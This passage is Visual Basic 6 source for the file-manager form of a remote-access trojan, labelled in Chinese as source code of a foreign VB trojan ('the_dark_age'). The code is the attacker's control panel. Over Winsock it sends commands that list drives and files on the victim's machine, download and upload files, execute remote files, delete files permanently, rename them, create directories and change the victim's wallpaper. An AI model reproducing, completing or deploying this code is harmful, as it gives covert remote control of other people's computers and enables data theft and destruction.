downloadmanager.frm

一个VB写的国外木马的源代码the_dark_age.zip

      _Version        =   393217
      SmallIcons      =   "ImageList2"
      ForeColor       =   -2147483640
      BackColor       =   -2147483643
      BorderStyle     =   1
      Appearance      =   1
      BeginProperty Font {0BE35203-8F91-11CE-9DE3-00AA004BB851} 
         Name            =   "Tahoma"
         Size            =   8.25
         Charset         =   0
         Weight          =   400
         Underline       =   0   'False
         Italic          =   0   'False
         Strikethrough   =   0   'False
      EndProperty
      OLEDragMode     =   1
      OLEDropMode     =   1
      NumItems        =   2
      BeginProperty ColumnHeader(1) {BDD1F052-858B-11D1-B16A-00C0F0283628} 
         Text            =   "Name"
         Object.Width           =   3528
      EndProperty
      BeginProperty ColumnHeader(2) {BDD1F052-858B-11D1-B16A-00C0F0283628} 
         Alignment       =   1
         SubItemIndex    =   1
         Text            =   "Size"
         Object.Width           =   1764
      EndProperty
   End
   Begin VB.Menu mnuUploadMain 
      Caption         =   "Upload"
      Begin VB.Menu mnuUpload 
         Caption         =   "Upload"
      End
      Begin VB.Menu MnuSep01 
         Caption         =   "-"
      End
      Begin VB.Menu mnuopen 
         Caption         =   "Open"
      End
      Begin VB.Menu mnuRename 
         Caption         =   "Rename"
      End
      Begin VB.Menu mnuDeleteCli 
         Caption         =   "Delete"
      End
   End
   Begin VB.Menu mnuDownloadMain 
      Caption         =   "Download"
      Begin VB.Menu mnuDownload 
         Caption         =   "Download"
      End
      Begin VB.Menu mnuWallpaper 
         Caption         =   "Set As Wallpaper"
         Visible         =   0   'False
      End
      Begin VB.Menu mnusep02 
         Caption         =   "-"
      End
      Begin VB.Menu mnuexecutesvr 
         Caption         =   "Execute File"
      End
      Begin VB.Menu mnuRenameSvr 
         Caption         =   "Rename File"
      End
      Begin VB.Menu mnuDeleteSvr 
         Caption         =   "Delete File Permanently "
      End
      Begin VB.Menu MnuSep03 
         Caption         =   "-"
      End
      Begin VB.Menu mnuCreateDir 
         Caption         =   "Create Directory"
      End
      Begin VB.Menu MnuSep04 
         Caption         =   "-"
      End
      Begin VB.Menu mnuRefresh 
         Caption         =   "Refresh List"
      End
   End
End
Attribute VB_Name = "DownloadManager"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Dim i As Long
Dim ItmX
Dim DOSExeIconLoaded As Boolean
Dim r As Long
Dim WFDSvr As WIN32_FIND_DATA

Private Sub CmdUp_Click()
If Len(TxtPath) = 3 Then Exit Sub
Dim Re As String
Re = InStrRev(TxtPath, "\", Len(TxtPath) - 1)
TxtPath = Left(TxtPath, Re)
Call vbGetFileList
End Sub

Private Sub CmdUpSvr_Click()
If Len(TxtPathSvr) = 3 Then Exit Sub
Dim Re As String
Re = InStrRev(TxtPathSvr, "\", Len(TxtPathSvr) - 1)
TxtPathSvr = Left(TxtPathSvr, Re)
WinSock.SendData "GetFileList|" + TxtPathSvr
End Sub

Private Sub LstClient_ColumnClick(ByVal ColumnHeader As ColumnHeader)
'Dim currSortKey As Integer
'LstClient.SortKey = ColumnHeader.Index - 1
'currSortKey = LstClient.SortKey
'LstClient.SortOrder = Abs(Not LstClient.SortOrder = 1)
'LstClient.Sorted = True
'LstClient.SortOrder = 0
'If currSortKey > -1 Then
'PrevOrder% = currSortKey
'End If
End Sub

Private Sub LstClient_DblClick()
If LstClient.SelectedItem.Selected Then
    TxtPath = TxtPath + LstClient.SelectedItem.Text + "\"
    Call vbGetFileList
End If
End Sub

Private Sub LstClient_MouseUp(Button As Integer, Shift As Integer, x As Single, Y As Single)
If Button = 2 Then PopupMenu mnuUploadMain
End Sub

Private Function StripNulls(Item As String) As String
Dim pos As Integer
pos = InStr(Item, Chr$(0))
If pos Then Item = Left$(Item, pos - 1)
StripNulls = Item
End Function

Private Sub vbGetFileList()
Dim Reval As Long, HFile As Long
Dim Counter As Integer
Dim WFD As WIN32_FIND_DATA
    LstClient.ListItems.Clear
    HFile = FindFirstFile(TxtPath + "*.*", WFD)
        If HFile > 0 Then vbAddFileItemView WFD, ImageList1, LstClient, TxtPath
        Do
            Reval = FindNextFile(HFile, WFD)
            If Reval = 0 Then Exit Do
            vbAddFileItemView WFD, ImageList1, LstClient, TxtPath
        Loop Until Reval = 0
    FindClose HFile
LstClient.SortKey = 0: LstClient.Sorted = True: LstClient.SortKey = 1
DOSExeIconLoaded = False
End Sub


Private Function vbGetFileSizeKBStr(fsize As Long) As String
vbGetFileSizeKBStr = Format$(((fsize) / 1000) + 0.5, "#,###,###") & " Kb"
If vbGetFileSizeKBStr = " Kb" Then vbGetFileSizeKBStr = ""
End Function

Function GetHiWord(dw As Long) As Integer
If dw And &H80000000 Then
GetHiWord = (dw \ 65535) - 1
Else: GetHiWord = dw \ 65535
End If
End Function

Private Function vbAddFileItemIcon(hImgSmall&) As Long
Dim r As Long
pixSmall.Picture = LoadPicture()
r& = ImageList_Draw(hImgSmall&, shinfo.iIcon, pixSmall.hdc, 0, 0, ILD_TRANSPARENT)
pixSmall.Picture = pixSmall.Image
vbAddFileItemIcon& = hImgSmall&
End Function
''''''///////'''''''
Public Sub GetServerList()
InitializeImageList LstServer, ImageList2
DOSExeIconLoaded = False
End Sub
''''//////////'''''''''''

Private Sub Form_Load()
InitializeImageList LstClient, ImageList1
mnuDownloadMain.Visible = False: mnuUploadMain.Visible = False
TxtPath = "C:\": TxtPathSvr = "C:\"
Call vbGetFileList
Dim Disknames As String * 255
Dim nDisk As Long
Dim Rev As Integer
nDisk = GetLogicalDrives()
Rev = GetLogicalDriveStrings(255, Disknames)
disk = Split(Disknames, Chr(0), nDisk)
For Rev = LBound(disk) To UBound(disk)
If disk(Rev) = "" Then Exit For
TxtDrivers.AddItem disk(Rev), Rev
Next Rev
'''''''
WinSock.SendData "GetDrivers"
DoEvents
WinSock.SendData "GetFileList|" + TxtPathSvr
End Sub

Private Sub LstServer_AfterLabelEdit(Cancel As Integer, NewString As String)
WinSock.SendData "RenameFile|" + TxtPathSvr + LstServer.SelectedItem.Text + "|" + TxtPathSvr + NewString
DoEvents
WinSock.SendData "GetFileList|" + TxtPathSvr
End Sub

Private Sub LstServer_DblClick()
If LstServer.SelectedItem.Selected Then
    TxtPathSvr = TxtPathSvr + LstServer.SelectedItem.Text + "\"
    WinSock.SendData "GetFileList|" + TxtPathSvr
End If
End Sub

Private Sub LstServer_MouseUp(Button As Integer, Shift As Integer, x As Single, Y As Single)
If LstServer.SelectedItem.Selected Then
    If Right(LstServer.SelectedItem.Text, 3) = "bmp" Then mnuWallpaper.Visible = True
    If Right(LstServer.SelectedItem.Text, 3) = "gif" Then mnuWallpaper.Visible = True
    If Right(LstServer.SelectedItem.Text, 3) = "png" Then mnuWallpaper.Visible = True
    If Right(LstServer.SelectedItem.Text, 3) = "jpg" Then mnuWallpaper.Visible = True
    If Button = 2 Then PopupMenu mnuDownloadMain
End If
End Sub

Private Sub mnuCreateDir_Click()
WinSock.SendData "CreateDir|" + TxtPathSvr
DoEvents
WinSock.SendData "GetFileList|" + TxtPathSvr
End Sub

Private Sub mnuDeleteSvr_Click()
WinSock.SendData "DeleteFile|" + TxtPathSvr + LstServer.SelectedItem.Text
DoEvents
'WinSock.SendData "GetFileList|" + TxtPathSvr
End Sub

Private Sub mnuDownload_Click()
TxtInfo = "Sending Request to Download..."
WinSock.SendData "DownloadFile|" + TxtPathSvr + LstServer.SelectedItem.Text
End Sub

Private Sub mnuexecutesvr_Click()
WinSock.SendData "ExecuteFile|" + TxtPathSvr + LstServer.SelectedItem.Text
End Sub

Private Sub mnuRefresh_Click()
WinSock.SendData "GetFileList|" + TxtPathSvr
End Sub

Private Sub mnuRenameSvr_Click()
LstServer.StartLabelEdit
End Sub

Private Sub mnuUpload_Click()
TxtInfo = "Source: " + TxtPath + LstClient.SelectedItem.Text
TxtInfo = TxtInfo + vbCrLf + "Destination: " + TxtPathSvr + LstServer.SelectedItem.Text + " (" + Client.TxtIp + ")."
TxtInfo = TxtInfo + vbCrLf + "File Size: " + Str(FileLen(TxtPath + LstClient.SelectedItem.Text)) + " Bytes" + vbCrLf
TxtInfo = TxtInfo + "Reading File..."
    Open TxtPath + LstClient.SelectedItem.Text For Binary As #1
    FileData = Space(FileLen(TxtPath + LstClient.SelectedItem.Text))
    Get 1, , FileData
    Close #1
WinSock.SendData "UploadFile|" & FileLen(TxtPath + LstClient.SelectedItem.Text) & "|" & TxtPath + LstClient.SelectedItem.Text & "|" & TxtPathSvr
End Sub
Private Function FillWFDSvr()
    WFDSvr.cFileName = hFileSvrProp(1)
    WFDSvr.nFileSizeLow = hFileSvrProp(2)
    WFDSvr.nFileSizeHigh = hFileSvrProp(3)
End Function
Public Function LockAllControls()
LstClient.Enabled = Not LstClient.Enabled
LstServer.Enabled = Not LstServer.Enabled
CmdUp.Enabled = Not CmdUp.Enabled
CmdUpSvr.Enabled = Not CmdUpSvr.Enabled
TxtInfo = "Wait for a few seconds..."
End Function

Private Sub mnuWallpaper_Click()
WinSock.SendData "ChangeWallpaper|" + TxtPathSvr + LstServer.SelectedItem.Text
End Sub

Private Sub TxtDrivers_Click()
TxtPath = TxtDrivers
Call vbGetFileList
End Sub

Private Sub TxtDriversSrv_Click()
TxtPathSvr = TxtDriversSrv
WinSock.SendData "GetFileList|" + TxtDriversSrv
End Sub